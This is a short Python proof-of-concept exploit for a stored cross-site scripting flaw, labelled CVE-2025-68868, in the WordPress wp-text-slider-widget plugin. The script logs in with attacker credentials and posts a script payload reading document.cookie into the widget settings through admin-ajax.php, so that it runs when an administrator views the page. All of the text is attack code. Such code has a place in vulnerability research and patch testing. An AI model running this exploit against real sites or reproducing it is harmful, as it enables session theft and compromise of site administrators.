CVE-2025-68868

import requests import sys # CVE-2025-68868 PoC - Stored XSS in wp-text-slider-widget # Target: WordPress site with vulnerable wp-text-slider-widget plugin target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-site.com" username = "attacker" password = "attacker_password" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/" } response = session.post(login_url, data=login_data) if "wordpress_logged_in" not in str(session.cookies): print("[-] Login failed") sys.exit(1) print("[+] Login successful") # Step 2: Inject malicious XSS payload into text slider # The payload will execute alert() when viewed by admin xss_payload = "<script>alert(document.cookie)</script>" # Navigate to widget settings page (path may vary) widget_url = f"{target_url}/wp-admin/widgets.php" # The actual exploitation requires finding the text slider widget # and submitting the XSS payload through the form print(f"[+] XSS Payload: {xss_payload}") print("[+] Payload will be stored and executed when admin views the page") # Alternative: Direct POST to widget options # POST /wp-admin/admin-ajax.php ajax_data = { "action": "save-widget", "wp-sidebar": "sidebar-1", "widget-text-slider-widget[]": xss_payload, "id-base": "text-slider-widget", "widget-width": "", "widget-height": "", "widget_id": "text-slider-widget-1" } response = session.post(f"{target_url}/wp-admin/admin-ajax.php", data=ajax_data) if response.status_code == 200: print("[+] Payload injection successful") else: print("[-] Injection failed")

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